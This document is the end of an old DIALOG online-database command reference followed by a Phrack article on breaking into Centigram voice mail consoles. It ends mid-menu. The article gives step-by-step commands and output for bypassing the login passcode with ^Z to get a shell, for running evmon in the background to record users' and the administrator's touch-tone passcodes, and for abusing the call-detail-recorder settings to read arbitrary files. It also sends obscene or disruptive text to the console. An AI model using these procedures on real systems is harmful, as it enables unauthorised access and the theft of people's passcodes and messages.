
PROXIMITY OPERATORS (Select command)

(W) Requests terms be adjacent to each other and in order specified. ‑> S SOLAR(W)ENERGY

(nW) Requests terms be within (n) words of each other and in order specified. ‑> S SOLAR(3W)ENERGY

(N) Requests terms be adjacent but in any order. Useful for retrieving identical terms. ‑> S SOLAR(N)ENERGY

(nN) Requests terms be within (n) words of each other and in any order. ‑> S SOLAR(3N)ENERGY

(F) Requests terms be in same field of same record, in any order.

‑> S SOLAR(F)ENERGY

(L) Requests terms be in same descriptor unit as defined by database. ‑> S SOLAR(L)ENERGY

(S) Requests terms be in same Subfield unit as defined by database. ‑> S SOLAR(S)ENERGY

(C) Equivalent to logic operator AND.

‑> S SOLAR(C)ENERGY

PRIORITY OF EXECUTION

Proximity operator, NOT, AND, OR

Use parentheses to specify different order of execution, e.g. SELECT (SOLAR OR SUN) AND (ENERGY OR HEAT). Terms within parentheses are executed first.

STOP WORDS (predefined)

The following words may not be SELECTed as individual terms. The computer will retrieve a set with zero results. They may only be replaced with proximity operators, e.g. S GONE(2W)WIND

AN FOR THE

AND FROM TO

BY OF WITH

RESERVED WORDS AND SYMBOLS

The following words and symbols must be enclosed in quotation marks whenever they are SELECTed as or within search terms, e.g., SELECT "OR"(W)GATE?

AND =

FROM *

NOT +

OR :

STEPS /

TRUNCATION

OPEN: any number of characters following stem.

SS EMPLOY?

RESTRICTED: only one additional character following stem.

SS HORSE? ?

RESTRICTED: maximum number of additional characters equal to number of question marks entered. SS UNIVERS??

INTERNAL: allows character replaced by question mark to vary. One character per question mark. SS WOM?N

BASIC INDEX FIELD SPECIFICATION (SUFFIX CODES)

Suffix codes are used to restrict retrieval to specified basic index fields of a record. Specific fields and codes vary according to the database.

Abstract /AB

Descriptor /DE

Full Descriptor(single word) /DF

Identifier /ID

Full Identifier(single word) /IF

Title /TI

Note /NT

Section Heading /SH

Examples:

SELECT BUDGET?/TI

SELECT POP(W)TOP(W)CAN?/TI,AB

SELECT (DOLPHIN? OR PORPOISE?)/DE/ID

ADDITIONAL INDEXES (PREFIX CODES)

Prefix codes are used to search additional indexes. Specific fields and codes vary according to the database.

Author AU=

Company Name CO=

Corporate Source CS=

Document Type DT=

Journal Name JN=

Language LA=

Publication Year PY=

Update UD=

Examples:

SELECT AU=JOHNSON, ROBERT?

SELECT LA=GERMAN

SELECT CS=(MILAN(F)ITALY)

RANGE SEARCHING

A colon is used to indicate a range of sequential entries to be retrieved in a logical OR relationship.

Examples:

SELECT CC=64072:64078

SELECT ZP=662521:62526

LIMIT QUALIFIERS

Limit qualifiers are used in SELECT statements to limit search terms or sets to given criteria. Specific qualifiers vary according to database.

English language documents /ENG

Major descriptor /MAJ

Patents /PAT

Human subject /HUM

Accession number range /nnnnnn‑nnnnnn

Examples:

SELECT TRANSISTORS/ENG,PAT

SELECT S2/MAJ

SELECT (STRESS OR TENSION)/234567‑999999

Well that's it for basic searching. Now, how to view the record you have selected.

Note: Indexes (prefix codes) often differ from database to database, often resulting in futile searches. One way to avoid this is to make a trip to the local Public or University Library and look up the blue sheets for the database you wish to query. Blue sheets are issued by dialog as a service to their users. Blue Sheets often contain helpful searching techniques ere to the database you are interested in. They will also contain a list of Indexes (prefix codes) unique to that database only.

VIEWING SEARCH RESULTS

COMMAND SUMMARY

TYPE Provides continuous on‑line display of results.

T Specify set/format/range of items. If Item range is specified, use T to view next record. May also be used with specific accession number.

Examples: T 12/3/1‑22 <‑ set/format/range

T 8/7 <‑ set/format

T 6 <‑ view next.(6 in this case) T 438721 <‑ view record 438721

DISPLAY Provides display of results one screen at a time. Use D PAGE for subsequent screens. Specify set/format/range of items. If range not specified, use D to view next record. May also be used with specific accession number.

Examples: D 11/6/1‑44 <‑ set/format/range

D 9/5 <‑ set/format

D 7 <‑ view next.(7 in this case) D 637372/7 <‑ view record 637372/format 7

PRINT Requests that results be printed offline and mailed. Specify set/format/range of items. If item range not specified up to 50 records will be printed. Use PR to print another 50.

Examples: PR 9/5/1‑44 <‑ print set/format/range PR 6/7 <‑ print set/format (all) PR 14 <‑ print 14 only

PR 734443/5 <‑ print 734443 format 5 only.

PRINT TITLE xxx To specify a title(xxx) to appear on PRINTs. Title may contain up to 70 characters. No semicolon may be used. Must be entered in database before any other PRINT command is used. Cancelled by next BEGIN.

Examples: PR TITLE GLOBULIN

PR TITLE QUETZAL

REPORT Extracts data from specified fields and produces tabular format for on‑line output only. Specify set/range of items/fields. May be used with SORTED set to specify order of entries in table. Application is database‑specific.

TYPICAL FORMATS IN BIBLIOGRAPHIC FILES:

Format Number Description

1 DIALOG Accession Number

2 Full Record except Abstract

3 Bibliographic Citation

5 Full Record

6 Title

7 Bibliographic Citation and Abstract

8 Title and Indexing

NOTE: Again, the Formats differ from database to database. See database bluesheet for specific format descriptions.

OTHER OUTPUT‑RELATED COMMANDS:

PRINT CANCEL Used alone, cancels preceding PRINT command. PR CANCEL Specify PRINT Transaction Number to cancel PRINT‑ any PRINT request entered in past two hours, PR‑ e.g. PRINT‑ P143

PRINT QUERY To view log of PRINT commands and cancellations. Add PR QUERY DETAIL to see date, time and costs.

PRINT QUERY ACTIVE To view log of PRINT commands that may still be cancelled. PR QUERY ACTIVE Add DETAIL to see date, time, file and costs.

SORT Sorts set of records on‑line according to parameters indicated. Varies per database. Specify set number/range/field,sequence, e.g. SORT 4/1‑55/AU,TI Sequence assumed ascending if not specified; use D to specify descending order. SORT parameters may be added to end of PRINT command for offline sorting, e.g. PRINT 9/5/ALL/SD,D

SET SCREEN nn nn Sets size of screen for video display.

SET H nn H (horizontal) given first in combined command. SET V nn V Default is 75 characters H, 40 lines V

LOGOFF Disconnects user from DIALOG system.

LOGOFF HOLD Disconnects user from DIALOG system, holds work for 10 minutes allowing RECONNECT.

OTHER COMMANDS:

DISPLAY SETS Lists all sets formed since last BEGIN command. DS May specify range of sets, e.g. DS 10‑22.

EXPLAIN Requests help messages for commands and file features. Enter ?EXPLAIN to see complete list.

KEEP Places records indicated in special set 0. Specify K set number/records, or accession number. Cancelled by a BEGIN command. Also used in DIALORDER.

LIMITALL Limits all subsequent sets to criteria specified. Varies per database.

LIMITALL/ALL Cancels previous LIMITALL command.

?LIMIT n Requests list of limit qualifiers for database n.

SEARCH*SAVE

SAVE Stores strategy permanently until deleted. Serial number begins with S.

SAVE TEMP Stores strategy for seven days; automatically deleted. Serial number begins with T.

SAVE SDI Stores strategy and PRINT command(s) until deleted. PRINT command required. Automatically executes strategy against each new update to database in which entered. Serial number begins with D.

MAPxx Creates a Search*Save of data extracted for field xx of MAPxx TEMP records already retrieved.

MAPxx STEPS If STEPS is used, data is formatted into separate search statements in Search*Save.

REVIEWING SEARCH*SAVES

RECALL nnnnn Recalls Search*Save nnnnn, displaying all set‑producing commands and comment lines, without executing the search.

RECALL SAVE Displays serial numbers of all permanent SAVEs, date entered, and number of lines.

RECALL TEMP Displays serial numbers of all temporary SAVEs, date entered, and number of lines.

RECALL SDI Displays serial numbers of all SDIs, dates entered, databases in which stored, and number of lines.

EXECUTING SEARCH*SAVES

EXECUTE nnnnn Executes entire strategy. Only last line is assigned a EX nnnnn set number.

EXECUTE STEPS nnnnn Executes entire strategy. Assigns set number to each EXS nnnnn search element. Preferred form.

EXECUTE nnnnn/x‑y Executes strategy nnnnn form command line x to command line y only. STEPS may also be used: EXS nnnnn/x‑y

EXECUTE nnnnn/USER a

Executes strategy nnnnn originally entered by user a (a=user number). STEPS may also be used: EXS nnnnn/USER a

EXECUTE nnnnn/x‑y/USER a

Executes strategy nnnnn from command line x to command line y, originally entered by user a. STEPS may also be used: EXS nnnnn/x‑y/USER a

DELETING SEARCH*SAVES

RELEASE nnnnn Deletes search nnnnn from system.

OTHER SEARCH*SAVE OPTIONS

NAMING: A three to five alphanumerical name may be specified following the SAVE, SAVE TEMP, and SAVE SDI commands.

Example: SAVE TEMP SOLAR

COMMENTS: An informative comment may be stored in a SEARCH*SAVE by entering an asterisk in place of a command, followed by up to 240 characters of "comment." The line will be saved with any SEARCH*SAVE command, and will display in RECALL of the search.

Example: * Search for R.J.Flappjack

ON‑LINE TEXT EDITOR

Any Search*Save, with the exception of an SDI, may be edited from within any database. An SDI must be edited within the database in which the SDI is to be stored.

EDIT To enter Editor and create new text.

EDIT xxxxx Pulls Search*Save xxxxx into Editor for editing.

LIST Displays text to be edited.

L OPTIONS:

LIST LIST 30‑110

LIST ALL LIST 10,50,80

LIST /data/ Locates all lines containing data.

INSERT Adds onto end of text.

INSERT nn Inserts line nn into text.

I To return to EDIT from INSERT, enter a period on a

I nn blank line.

DELETE To delete line(s) of text.

D OPTIONS:

DELETE 10‑50

DELETE 10,30‑50

DELETE ALL

CHANGE To change text within a line.

C Changes only first occurrence of old text in any given line. OPTIONS:

CHANGE 60/old/new (where 60 is line number) CHANGE 60/old// (deletes old)

C 60//new (inserts new at beginning of line)

C 80.old.new (when text contains slash) C /old/new (new replaces old on all lines) C 20,40/old/new (nonsequential lines) C 30‑50/old/new (range of lines)

COPY Duplicates line# TO line#

CO OPTIONS:

COPY 100 to 255

COPY 100‑150 TO 255

COPY 100,130 TO 255

MOVE Move line# TO line#

M Options same as COPY.

QUERY Produces message giving name of file, number of lines, last line Q number.

RENUM Renumbers lines by tens unless otherwise specified. R OPTIONS:

RENUM n (Renumbers by increments of n)

QUIT Used to leave editor ignoring session.

SAVE Used to create Search*Save strategy from edited file. SAVE TEMP An SDI must include a PRINT command.

SAVE SDI

Enjoy the DIALOG Information Network. I've found it most interesting. This service is a MUST if you are in college or if you just love to learn as uch as time permits. It is a proven research tool used by R&D and university facilities around the world, as well as a refined corporate intelligence information gathering tool kept hidden from the general public by sheer expense and "pseudo‑complexity." With on‑line databases like DIALOG available, there is no excuse (besides lack of time) for self‑education.

*********************************

Brian Oblivion can be reached at Oblivion@ATDT.ORG.

Additionally, he can be reached at Black Crawling Systems/VOiD Information Archives (for more information, e‑mail Brian). RDT welcomes any questions or comments you may have. See you at SummerCon '92.

Centigram Voice Mail System Consoles

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 6 of 13

Centigram Voice Mail System Consoles Proper Entry Procedure, Design Flaws, and Security Bugs

by >Unknown User<

*** Note from Phrack Staff: This file was submitted to Phrack anonymously. *** *** The author used SMTP fake mail to send it to the Phrack e‑mail address. *** *** Phrack cannot make any claims about the validity or the source of the ***

*** information found in this article. *

Due to more efficient task‑handling and the desire for a more "Unix‑like" environment, the developers at Centigram needed for certain key functions to be available at all times. For instance, the ^Z key acts as the "escape" key (these can be remapped, if desired). When necessary for some applications to use an "escape" procedure, pressing this key can, in at least a few cases, cause a drop to shell, or /cmds/qnxsh (possibly /cmds/sh, as well, but I'm used to seeing qnxsh). If this escape procedure was invoked during, say, /cmds/login, the resulting drop to shell would by‑pass the "Enter Passcode:" message. And it does.

After calling the Centigram, normal procedure is to hit ^Z to activate the terminal, followed by the entry of the remote or console passcodes, and then proceeding with normal console activities. However, if ^Z is continually depressed during the login sequence, the login program will abort and run /cmds/qnxsh. The behavior may be somewhat erratic by the repeated use of the escape key, but when the $ prompt appears, usually, it doesn't deliberately go away without an "exit" command or a ^D. Typically, a login pattern can develop to accommodate the erratic behavior something along the lines of: continuously depress ^Z until $ prompt appears, hit return, possibly get "Enter Passcode:" message, hit return, and $ prompt appears again, set proper TTY setting, and change directory appropriately, and continue with normal console functions.

Initial STTY Setting:

I've had problems with my terminal settings not being set properly during the above entry procedure. I can correct this by using the "stty +echo +edit" command, and, for my terminal, all is restored. The correct values for STTY options and keys appear to be:

Options: +echo +edit +etab +ers +edel +oflow +mapcr +hangup break=03h esc=1Ah rub=7Fh can=18h eot=04h up=15h down=0Ah left=08h ins=0Eh del=0Bh

The keymap, of course, can be modified as desired, but the options, especially +edit, appear to be necessary.

Disks and Directories:

The drives and directories are set up in a remotely MessDos fashion. The output of a "pwd" command looks similar to "4:/". "4:" represents the drive number, and "/" is the start of the directory structure, "4:/" being the root directory for drive 4, "3:/tmp" being the /tmp directory on drive 3, etc.

The two most important directories are 1:/cmds and 4:/cmds, which contain, for the most part, the program files for all of the performable commands on the system, excluding the commands written into the shell. The directory 1:/cmds should look similar to:

$ ls

backup drel ls rm talk chattr eo mkdir rmdir tcap choose fdformat mount runfloppy timer clrhouse files p search tsk

cp frel pack sh unpack date get_boolean patch slay ws

ddump led pwd sleep zap

diff led.init qnxsh spatch

dinit login query stty

This is a display of many useful commands. chattr changes the read/write file attributes, cp is copy, ddump dumps disk sectors in hex & ascii, led is the line editor, p is the file print utility, and a variety of other things that you can experiment with at your own leisure. DO NOT USE THE TALK COMMAND. At least, be careful if you do. If you try to communicate with your own terminal, it locks communication with the shell, and upon hangup, for some reason, causes a major system error and system‑wide reboot, which, quite frankly, made me say, "Oops. I'm not doing that again" when I called to check on the actual voice mailboxes, and the phone line just sat there, dead as old wood. I was quite relieved that it came back up after a few minutes.

The other directory, 4:/cmds, is filled with more specific commands pertaining to functions within the voice mail system itself. These programs are actually run from within other programs to produce an easy‑to‑understand menu system. Normally, this menu system is immediately run after the entry of the remote or console passcode, but it would not be run when using the aforementioned security bug. It can be run from the shell simply by typing the name of the program, console.

Mounting and Initializing Drives:

The MOUNT command produces results similar to this when run without arguments:

$ mount

Drive 1: Hard, 360k, offset = 256k, partition= Qnx

Drive 2: Floppy, 360k, p=1

Drive 3: RamDisk, 96k, partition= Qnx

Drive 4: Hard, 6.1M, offset = 616k, partition= Qnx

$tty0 = $con , Serial at 03F8

$tty1 = $term1 , Serial at 02F8

$tty2 = $term2 , Serial at 0420

$tty3 = $mdm , Serial at 0428

The hard and floppy drives are fairly self‑explanatory, although I can't explain why they appear to be so small, nor do I know where the voice recordings go, or if this list contain all the space required for voice storage.

The ramdisk, however, is a bit more interesting to me. The mount command used for the above‑mentioned disk 3 was:

$ mount ramdisk 3 s=96k ‑v

Although I'm not sure what the ‑v qualifier does, the rest is fairly straight forward. I assume that the size of the drive can be greater than 96k, although I haven't yet played with it to see how far it can go. To initialize the drive, the following command was used:

$ dinit 3

Quite simple, really. Now, the drive is ready for use so one can "mkdir 3:/tmp" or some such and route files there as desired, or use it for whatever purpose. If something is accidentally redirected to the console with >$cons, you can use the line editor "led" to create a temporary file and then use the print utility "p" to clear the console's screen by using "p filename >$cons" where filename contains a clear screen of 25 lines, or an ANSI bomb (if appropriate), or a full‑screen DobbsHead or whatever you like.

EVMON and password collecting:

The evmon utility is responsible for informing the system manager about the activity currently taking place within the voice mail system. Run alone, evmon produces output similar to:

$ evmon

Type Ctrl‑C to terminate.

ln 26 tt 3

ln 26 line break

ln 26 onhook

ln 28 ringing

ln 28 tt 8

ln 28 tt 7

ln 28 tt 6

ln 28 tt 2

ln 28 offhook

ln 28 tt *

ln 28 tt 2

ln 28 tt 0

ln 28 tt 3

ln 28 tt 0

ln 28 line break

ln 28 onhook

[...]

And so forth. This identifies a certain phone line, such as line 28, and a certain action taking place on the line, such as the line ringing, going on or offhook, etc. The "tt" stands for touch tone, and it is, of course, the tone currently played on the line; which means that touchtone entry of passcodes can be recorded and filed at will. In the above example, the passcode for Mailbox 8762 is 2030 (the * key, along with the 0 key, can acts as the "user entering mailbox" key; it can, however, also be the abort key during passcode entry, and other things as well). Now the user, of course, doesn't usually dial 8762 to enter his mailbox; he simply dials the mailbox number and then * plus his passcode; the reason for this is the type of signalling coming from the switch to this particular business line was set‑up for four digit touch tone ID to route the line to the appropriate called number. This is not the only method of signalling, however, as I've seen other businesses that use three digit pulse signalling, for example, and there are others as well. Each may have it's own eccentricities, but I would imagine that the line ID would be displayed with EVMON in most cases.

Now, let's say we're on‑line, and we want to play around, and we want to collect passcodes. We've set up our ramdisk to normal size and we are ready to run evmon. We could run it, sit at our terminal, and then record the output, but it's such a time consuming task (this is "real‑time," after all) that sitting and waiting be nearly pointless. So, we use the handy features of run‑in‑background and file‑redirection (see, I told you we were getting "Unix‑like").

$ evmon > 3:/tmp/output &

Type Ctrl‑C to terminate.

5e1e

$ ...

5e1e is the task ID (TID) of the new evmon process. Now we can go off and perform whatever lists we want, or just play in the directories, or route DobbsHeads or whatever. When we decide to end for the day, we simply stop EVMON, nab the file, remove it, and if necessary, dismount the ramdisk.

$ kill 5e1e

$ p 3:/tmp/output

[ EVMON output would normally appear; if, however, ]

[ there is none, the file would be deleted during ]

[ the kill with an error message resulting ]

$ rm 3:/tmp/output

$ rmdir 3:/tmp

$ mount ramdisk 3

and now we can ^D or exit out of the shell and say good‑bye.

The good thing about this EVMON procedure is that you don't need to be on‑line while it runs. You could start a task sometime at night and then wait until the next day before you kill the process and check your results. This usually produces large log files anywhere from 40K to 200K, depending upon the amount of system usage (these figures are rough estimates). If, however, you start the EVMON task and leave it running, then the administrator will not be able to start a new EVMON session until the old task is killed. While this probably shouldn't be a problem over the weekends, during business hours it may become a little risky.

Remember though, that the risk might be worth it, especially if the administrator decides to check his mailbox; you'd then have his passcode, and, possibly, remote telephone access to system administrator functions via touchtone on the mailbox system.

Task management:

As we have just noted, any task like EVMON can be run in the background by appending the command line with a &, the standard Unix "run‑in‑background" character. A Task ID will echo back in hexadecimal, quite comparable to the Unix Process ID. The program responsible for task management is called "tsk" and should be in 1:/cmds/tsk. Output from running tsk alone should look something like:

$ tsk

Tty Program Tid State Blk Pri Flags Grp Mem Dad Bro Son 0 task 0001 READY ‑‑‑‑ 1 ‑‑‑IPLA‑‑‑‑‑ 255 255 ‑‑‑‑ ‑‑‑‑ ‑‑‑0 fsys 0002 RECV 0000 3 ‑‑‑IPLA‑‑‑‑‑ 255 255 ‑‑‑‑ ‑‑‑‑ ‑‑‑0 dev 0003 RECV 0000 2 ‑‑‑IPLA‑‑‑‑‑ 255 255 ‑‑‑‑ ‑‑‑‑ ‑‑‑0 idle 0004 READY ‑‑‑‑ 15 ‑‑‑‑PLA‑‑‑‑‑ 255 255 ‑‑‑‑ ‑‑‑‑ 0508 0 /cmds/timer 0607 RECV 0000 2 ‑S‑‑P‑AC‑‑‑‑ 255 255 ‑‑‑‑ ‑‑‑‑ ‑‑‑0 /cmds/err_log 0509 RECV 0000 5 ‑S‑‑P‑‑C‑‑‑‑ 255 255 0A0A ‑‑‑‑ ‑‑‑0 /cmds/ovrseer 0A0A REPLY 0607 5 ‑S‑‑P‑‑C‑‑‑‑ 255 255 ‑‑‑‑ ‑‑‑‑ 030C 0 /cmds/recorder 010B REPLY 0509 5 ‑S‑‑P‑‑C‑‑‑‑ 255 255 0A0A 0509 ‑‑‑0 /cmds/master 030C REPLY 0607 5 ‑S‑‑P‑‑C‑‑‑‑ 255 255 0A0A 010B 011C [ ... a wide assortment of programs ... ]

0 /cmds/vmemo 011C REPLY 0110 13 ‑S‑‑‑‑‑C‑‑‑‑ 255 255 030C 011B ‑‑‑3 /cmds/comm 0508 RECV 5622 8 ‑‑‑‑P‑A‑‑‑‑‑ 255 255 0004 ‑‑‑‑ 5622 3 /cmds/tsk 051D REPLY 0001 8 ‑‑‑‑‑‑‑‑‑‑‑‑ 255 255 301E ‑‑‑‑ ‑‑‑3 /cmds/qnxsh 301E REPLY 0001 14 ‑‑‑‑‑‑‑‑‑E‑‑ 255 255 5622 ‑‑‑‑ 051D 3 /cmds/login 5622 REPLY 0003 8 ‑‑‑‑‑‑‑C‑‑‑‑ 255 255 0508 ‑‑‑‑ 301E

Although I'm not quite sure at some of the specifics displayed in this output, the important parts are obvious. The first column is the TTY number which corresponds to the $tty list in "mount" (meaning that the modem I've just called is $tty3, and I am simultaneously running four tasks from that line); the second column is the program name (without the drive specification); the third column is the task ID; the middle columns are unknown to me; and the last three represent the ties and relations to other tasks (parent task ID, another task ID created from the same parent, and task ID of any program called).

Knowing this, it's easy to follow the tasks we've created since login. Initially, task 0508, /cmds/comm, was run, which presumably contains the requisite "what should I do now that my user has pressed a key?" functions, which called /cmds/login to log the user in. Login was interrupted with ^Z and one of the shells, qnxsh, was called to handle input from the user. Finally, the typing of "tsk" requires that the /cmds/tsk program be given a task ID, and the output of the program is simply confirming that it exists.

As mentioned, to kill a task from the shell, simply type "kill [task‑id]" where [task‑id] is the four digit hexadecimal number.

There are other functions of the tsk program as well. The help screen lists:

$ tsk ?

use: tsk [f={cmoprst}] [p=program] [t=tty] [u=userid]

tsk code [p=program]

tsk info

tsk mem t=tid

tsk names

tsk size [p=program] [t=tty] [u=userid]

tsk ports

tsk tsk

tsk tree [+tid] [+all] [‑net]

tsk users [p=program] [t=tty] [u=userid]

tsk vcs

tsk who tid ...

options: +qnx ‑header +physical [n=]node s=sort_field

I haven't seen all the information available from this, yet, as the plain "tsk" tells me everything I need to know; however, you may want to play around: there's no telling what secrets are hidden...

$ tsk tsk

Tsk tsk? Have I been a bad computer?

See what I mean?

ddump:

The ddump utility is used to display the contents on a specified blocks of the disk. It's quite simple to use.

$ ddump ?

use: ddump drive block_number [‑v]

Again, I'm not quite sure what the ‑v switch does, but the instructions are very straightforward. Normal output looks similar to:

$ ddump 3 3

Place diskette in drive 3 and hit <CR> <‑‑ this message is always

displayed by ddump.

Block 00000003 Status: 00

000: 00 00 00 00 00 00 00 00 94 00 00 00 00 00 00 00 ................ 010: 01 00 01 00 40 02 00 00 00 02 00 00 00 00 00 00 ....@........... 020: 00 01 00 FF FF 00 00 97 37 29 17 00 01 01 01 30 ........7).....0 030: C4 17 8E 62 69 74 6D 61 70 00 00 00 00 00 00 00 ...bitmap....... 040: 00 00 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 ................ 050: 00 00 00 FF FF 00 00 A5 37 29 17 00 01 01 17 30 ........7).....0 060: C4 25 8E 6C 6C 6C 00 00 00 00 00 00 00 00 00 00 .%.lll.......... 070: 00 00 00 00 50 0E 00 00 00 0E 00 00 00 00 00 00 ....P........... 080: 00 01 00 FF FF 7E 05 A8 38 29 17 00 01 01 17 30 .....~..8).....0 090: C4 28 8F 61 62 63 00 00 00 00 00 00 00 00 00 00 .(.abc.......... 0A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [...etc...]

As you can probably notice, what we have here is the directory track for the ramdisk. It lists three files, even though the file abc no longer exists. The actual bytes have yet to be decoded, but, as far as the ramdisk goes, I suspect that they'll be memory related, and not physical block related; that is, I suspect that some of the numbers given above correspond to the memory address of the file, and not to the actual disk‑block. So, at least for the ramdisk, finding specific files may be difficult. However, if you only have one file on the ramdisk besides "bitmap" (which appears to be mandatory across all the disks), then the next file you create should reside on track 4 and continue working its way up. Therefore, if you have evmon running and redirected to a file on the ramdisk, in order to check the contents, it's not necessary to kill the process and restart evmon, etc. Simply "ddump 3 4" and you could get either useless information (all the bytes are 00 or FF), or you could get something like:

$ ddump 3 4

Place diskette in drive 3 and hit <CR>

Block 00000004 Status: 00

000: 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 ................ 010: 6C 6E 20 20 32 36 20 74 74 20 33 1E 6C 6E 20 20 ln 26 tt 3.ln 020: 32 36 20 6C 69 6E 65 20 62 72 65 61 6B 1E 6C 6E 26 line break.ln 030: 20 20 32 36 20 6F 6E 68 6F 6F 6B 1E 6C 6E 20 20 26 onhook.ln 040: 32 38 20 72 69 6E 67 69 6E 67 1E 6C 6E 20 20 32 28 ringing.ln 2 050: 38 20 74 74 20 38 1E 6C 6E 20 20 32 38 20 74 74 8 tt 8.ln 28 tt 060: 20 37 1E 6C 6E 20 20 32 38 20 74 74 20 36 1E 6C 7.ln 28 tt 6.l 070: 6E 20 20 32 38 20 74 74 20 32 1E 6C 6E 20 20 32 n 28 tt 2.ln 2 080: 38 20 6F 66 66 68 6F 6F 6B 1E 6C 6E 20 20 32 38 8 offhook.ln 28 090: 20 74 74 20 2A 1E 6C 6E 20 20 32 38 20 74 74 20 tt *.ln 28 tt

And so forth, thus making sure that the file does have some content. Depending upon the length of that content, you could then choose to either keep the file running, or restart evmon and buffer the previous output.

led:

The program "led" is Centigram's answer to a standard text editor. It is equivalent to "ed" in Unix or "edlin" in MS‑DOS, but it does have its minor differences. "led" is used to create text files, edit existing log files, or edit executable shell scripts. By typing "led [filename]", you will enter the led editor, and if a filename is specified, and it exists, the file will be loaded and the editor set to line 1. If there is no filename on the command line, the file does not exist, or the file is busy, then led begins editing a null file, an empty buffer, without the corresponding filename.

Commands can also be specified to be used in led after the filename is entered. If needed, you can experiment with this.

Notable commands from within led:

i insert

a append

w [filename] write to disk; if no file is named, attempt to write to current file; if there is no current file, do not write.

d delete current line

a number goto line numbered

q quit (if not saved, inform user to use "qq") qq really quit

When inserting or appending, led will prompt you with a "." period. To end your entry, simply enter one period alone on a line and you will then return to command mode. When displaying the current entry, led will prefix all new, updated lines, with the "i" character.

The key sequence to enter a DobbsHead into a file and redirect it to the console, then, would be:

$ led 3:/dobbshead

3:/dobbshead : unable to match file

i

. ___

. . / \

. . | o o |

. . | Y |

. U===== |

. \___/

. FUCK YOU!

q

?4 buffer has been modified, use qq to quit without saving

w 3:/dobbshead

7 [the number of lines in the file]

q

$ p 3:/dobbshead > $cons

$ rm 3:/dobbshead

Ok, so it's not quite the DobbsHead. Fuck you.

The console utility:

The program that acts as the menu driver for the Voice Mail System Administration, the program that is normally run upon correct passcode entry, is /cmds/console. This program will simply produce a menu with a variety of sub‑menus that allow the administrator to perform a wide assortment of tasks. Since this is mostly self‑explanatory, I'll let you find out about these functions for yourself; I will, however, add just a few comments about the console utility. The first menu received should look like this:

(c) All Software Copyright 1983, 1989 Centigram Corporation

All Rights Reserved.

MAIN MENU

(M) Mailbox maintenance

(R) Report generation

(S) System maintenance

(X) Exit

Enter letter in () to execute command.

When you need help later, type ?.

COMMAND (M/R/S/X):

The mailbox maintenance option is used when you want to find specific information concerning mailboxes on the system. For instance, to get a listing of all the mailboxes currently being used on the system:

COMMAND (M/R/S/X): m

MAILBOX MAINTENANCE

(B) Mailbox block inquiry

(C) Create new mailboxes

(D) Delete mailboxes

(E) Mailbox dump

(I) Inquire about mailboxes

(L) List maintenance

(M) Modify mailboxes

(P) Set passcode/tutorial

(R) Rotational mailboxes

(S) Search for mailboxes

(X) Exit

If you need help later, type ?.

COMMAND (B/C/D/E/I/L/M/P/R/S/X): i

Report destination (c/s1/s2) [c]:

Mailbox to display: 0000‑9999

>>> BOBTEL <<<

Mailbox Data Inquiry

Tue Mar 31, 1992 3:07 am

Box Msgs Unp Urg Rec Mins FCOS LCOS GCOS NCOS MWI Passwd 8001 1 1 0 0 0.0 5 5 1 1 None Y 8002 0 0 0 0 0.0 5 5 1 1 None Y (t) 8003 0 0 0 0 0.0 12 12 1 1 None Y 8005 0 0 0 0 0.0 12 12 1 1 None Y 8006 6 6 0 0 0.7 12 12 1 1 None N 8008 0 0 0 0 0.0 5 5 1 1 None Y 8013 0 0 0 0 0.0 12 12 1 1 None 1234 8014 0 0 0 0 0.0 5 5 1 1 None Y 8016 0 0 0 0 0.0 12 12 1 1 None Y [ ... etc ... ]

This simply lists every box along with the relevant information concerning that box. Msgs, Unp, Urg, Rec are the Total number of messages, number of unplayed messages, number of urgent messages, and number of received messages currently being stored on the drive for the mailbox; Mins is the numbers of minutes currently being used by those messages; F, L, G, and NCOS are various classes of service for the mailboxes; MWI is the message waiting indicator, or service light; and Passwd is simply a Yes/No condition informing the administrator whether the mailbox currently has a password. The "(t)" in the password field means the box is currently in tutorial mode, and the "1234" that replaces the Y/N condition, which means the box is set to initial tutorial mode with simple passcode 1234 ‑‑ in other words the box is available to be used by a new subscriber. Mailboxes with FCOS of 1 should be looked for: these represent administration or service mailboxes, although they are not necessarily capable of performing system administration functions.

The System Maintenance option from the main menu is very useful in that, if you don't have access to the qnxsh, you can still run a number of tasks or print out any file you wish from within the menu system. The System Maintenance menu looks like:

SYSTEM MAINTENANCE

(A) Automatic Wakeup

(B) Automated Receptionist Extensions

(D) Display modem passcode

(E) Enable modem/serial port

(F) Floppy backup

(G) Resynchronize HIS PMS room status

(H) Hard Disk Utilities

(L) Lights test

(M) Manual message purge

(N) System name

(P) Passcode

(R) Reconfiguration

(S) System shutdown

(T) Time and date

(U) Utility menu

(V) Call Detail Recorder

(W) Network menu

(X) Exit

Enter letter in () to execute command.

When you need help later, type ?.

COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X):

If you don't have access to the "p" command, you can still display any specific file on the drive that you wish to see. Choose "v," the Call Detail Recorder option from above, and you will get this menu:

COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): v

Warning: cdr is not running.

CALL DETAIL RECORDER MENU

(C) Configure CDR

(R) Run CDR

(T) Terminate CDR

(E) Run EVMON

(F) Terminate EVMON

(S) Show CDR log file

(D) Delete CDR log file

(X) Exit

If you need help later, type ?.

COMMAND (C/R/T/E/F/S/D/X):

From here, you can use (C) Configure CDR to set the log file to any name that you want, and use (S) to print that file to your terminal.

COMMAND (C/R/T/E/F/S/D/X): c

Answer the following question to configure call detail recorder

[ simply hit return until the last "filename" question come up ] VoiceMemo line numbers enabled:

HOST 1 lines:

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

VoiceMemo line numbers:

EVMON: HOST 1 lines to monitor:

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

EVMON:VoiceMemo line numbers:

Message levels are:

1: Detailed VoiceMemo

2: VoiceMemo

3: Pager

4: Receptionist

5: EVMON

6: Automatic WakeUp

7: Open Account Administrator

8: DTMF to PBX

9: Message Waiting Lamp

10: SL‑1 integration

11: Centrex Integration

Message levels enabled:

2 3 7 9

Message levels:

cdr enable = [N]

Enter filename to save log data = [/logfile] /config/remote.cmds

Returning from the CDR configuration.

CALL DETAIL RECORDER MENU

